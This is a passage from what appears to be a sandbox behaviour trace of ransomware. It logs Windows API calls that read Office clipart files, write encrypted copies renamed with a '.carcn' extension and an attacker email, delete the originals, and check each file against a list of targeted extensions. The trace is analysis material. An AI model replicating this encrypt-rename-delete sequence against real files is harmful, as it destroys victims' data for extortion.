lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x20ae, lpOverlapped=0x0) returned 1 [0298.683] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x20b0, lpOverlapped=0x0) returned 1 [0298.685] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.685] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.685] SetEndOfFile (hFile=0x340) returned 1 [0298.685] CloseHandle (hObject=0x340) returned 1 [0298.685] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.685] SetEndOfFile (hFile=0x364) returned 1 [0298.686] CloseHandle (hObject=0x364) returned 1 [0298.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0298.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0298.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0298.687] lstrlenW (lpString=".doc") returned 4 [0298.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.687] lstrlenW (lpString=".docx") returned 5 [0298.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.687] lstrlenW (lpString=".pdf") returned 4 [0298.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.687] lstrlenW (lpString=".xls") returned 4 [0298.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.687] lstrlenW (lpString=".xlsx") returned 5 [0298.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.687] lstrlenW (lpString=".ppt") returned 4 [0298.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0298.688] lstrlenW (lpString=".zip") returned 4 [0298.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.688] lstrlenW (lpString=".rar") returned 4 [0298.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.688] lstrlenW (lpString=".bz2") returned 4 [0298.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.688] lstrlenW (lpString=".7z") returned 3 [0298.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0298.688] lstrlenW (lpString=".dbf") returned 4 [0298.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0298.688] lstrlenW (lpString=".1cd") returned 4 [0298.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0298.688] lstrlenW (lpString=".jpg") returned 4 [0298.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0298.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0298.688] lstrlenW (lpString=".doc") returned 4 [0298.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.688] lstrlenW (lpString=".docx") returned 5 [0298.688] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.688] lstrlenW (lpString=".pdf") returned 4 [0298.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.688] lstrlenW (lpString=".xls") returned 4 [0298.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.689] lstrlenW (lpString=".xlsx") returned 5 [0298.689] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.689] lstrlenW (lpString=".ppt") returned 4 [0298.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0298.689] lstrlenW (lpString=".zip") returned 4 [0298.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.689] lstrlenW (lpString=".rar") returned 4 [0298.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.689] lstrlenW (lpString=".bz2") returned 4 [0298.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.689] lstrlenW (lpString=".7z") returned 3 [0298.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0298.689] lstrlenW (lpString=".dbf") returned 4 [0298.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0298.689] lstrlenW (lpString=".1cd") returned 4 [0298.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0298.689] lstrlenW (lpString=".jpg") returned 4 [0298.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.689] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.690] lstrlenW (lpString="BS00184_.WMF") returned 12 [0298.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0298.690] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=4976) returned 1 [0298.690] CloseHandle (hObject=0x364) returned 1 [0298.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x220 [0298.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0298.691] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.691] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0298.692] GetLastError () returned 0x0 [0298.692] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1370, lpOverlapped=0x0) returned 1 [0298.693] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1380, lpOverlapped=0x0) returned 1 [0298.696] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.696] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.696] SetEndOfFile (hFile=0x340) returned 1 [0298.696] CloseHandle (hObject=0x340) returned 1 [0298.696] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.696] SetEndOfFile (hFile=0x364) returned 1 [0298.697] CloseHandle (hObject=0x364) returned 1 [0298.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.697] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0298.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0298.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0298.698] lstrlenW (lpString=".doc") returned 4 [0298.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.698] lstrlenW (lpString=".docx") returned 5 [0298.698] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.698] lstrlenW (lpString=".pdf") returned 4 [0298.698] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.698] lstrlenW (lpString=".xls") returned 4 [0298.698] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.698] lstrlenW (lpString=".xlsx") returned 5 [0298.698] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.699] lstrlenW (lpString=".ppt") returned 4 [0298.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0298.699] lstrlenW (lpString=".zip") returned 4 [0298.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.699] lstrlenW (lpString=".rar") returned 4 [0298.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.699] lstrlenW (lpString=".bz2") returned 4 [0298.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.699] lstrlenW (lpString=".7z") returned 3 [0298.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0298.699] lstrlenW (lpString=".dbf") returned 4 [0298.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0298.699] lstrlenW (lpString=".1cd") returned 4 [0298.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0298.699] lstrlenW (lpString=".jpg") returned 4 [0298.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0298.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0298.699] lstrlenW (lpString=".doc") returned 4 [0298.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.699] lstrlenW (lpString=".docx") returned 5 [0298.699] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.699] lstrlenW (lpString=".pdf") returned 4 [0298.700] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.700] lstrlenW (lpString=".xls") returned 4 [0298.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.700] lstrlenW (lpString=".xlsx") returned 5 [0298.700] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.700] lstrlenW (lpString=".ppt") returned 4 [0298.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0298.700] lstrlenW (lpString=".zip") returned 4 [0298.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.700] lstrlenW (lpString=".rar") returned 4 [0298.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.700] lstrlenW (lpString=".bz2") returned 4 [0298.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.700] lstrlenW (lpString=".7z") returned 3 [0298.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0298.700] lstrlenW (lpString=".dbf") returned 4 [0298.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0298.700] lstrlenW (lpString=".1cd") returned 4 [0298.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0298.700] lstrlenW (lpString=".jpg") returned 4 [0298.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.701] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.701] lstrlenW (lpString="BS00186_.WMF") returned 12 [0298.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0298.701] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=12788) returned 1 [0298.701] CloseHandle (hObject=0x364) returned 1 [0298.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x220 [0298.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0298.702] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.702] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0298.703] GetLastError () returned 0x0 [0298.703] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x31f4, lpOverlapped=0x0) returned 1 [0298.704] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x3200, lpOverlapped=0x0) returned 1 [0298.705] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.706] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.706] SetEndOfFile (hFile=0x340) returned 1 [0298.706] CloseHandle (hObject=0x340) returned 1 [0298.706] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.706] SetEndOfFile (hFile=0x364) returned 1 [0298.707] CloseHandle (hObject=0x364) returned 1 [0298.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0298.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0298.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0298.708] lstrlenW (lpString=".doc") returned 4 [0298.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.708] lstrlenW (lpString=".docx") returned 5 [0298.708] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.708] lstrlenW (lpString=".pdf") returned 4 [0298.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.708] lstrlenW (lpString=".xls") returned 4 [0298.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.708] lstrlenW (lpString=".xlsx") returned 5 [0298.708] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.708] lstrlenW (lpString=".ppt") returned 4 [0298.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0298.709] lstrlenW (lpString=".zip") returned 4 [0298.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.709] lstrlenW (lpString=".rar") returned 4 [0298.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.709] lstrlenW (lpString=".bz2") returned 4 [0298.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.709] lstrlenW (lpString=".7z") returned 3 [0298.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0298.709] lstrlenW (lpString=".dbf") returned 4 [0298.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0298.709] lstrlenW (lpString=".1cd") returned 4 [0298.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0298.709] lstrlenW (lpString=".jpg") returned 4 [0298.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0298.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0298.709] lstrlenW (lpString=".doc") returned 4 [0298.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.709] lstrlenW (lpString=".docx") returned 5 [0298.709] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.709] lstrlenW (lpString=".pdf") returned 4 [0298.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.710] lstrlenW (lpString=".xls") returned 4 [0298.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.710] lstrlenW (lpString=".xlsx") returned 5 [0298.710] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.710] lstrlenW (lpString=".ppt") returned 4 [0298.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0298.710] lstrlenW (lpString=".zip") returned 4 [0298.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.710] lstrlenW (lpString=".rar") returned 4 [0298.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.710] lstrlenW (lpString=".bz2") returned 4 [0299.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.071] lstrlenW (lpString=".7z") returned 3 [0299.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0299.072] lstrlenW (lpString=".dbf") returned 4 [0299.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0299.072] lstrlenW (lpString=".1cd") returned 4 [0299.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0299.072] lstrlenW (lpString=".jpg") returned 4 [0299.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.072] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.072] lstrlenW (lpString="BS01080_.WMF") returned 12 [0299.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0299.072] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2732) returned 1 [0299.072] CloseHandle (hObject=0x394) returned 1 [0299.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x220 [0299.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0299.073] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.073] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0299.074] GetLastError () returned 0x0 [0299.074] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xaac, lpOverlapped=0x0) returned 1 [0299.076] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xab0, lpOverlapped=0x0) returned 1 [0299.077] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, 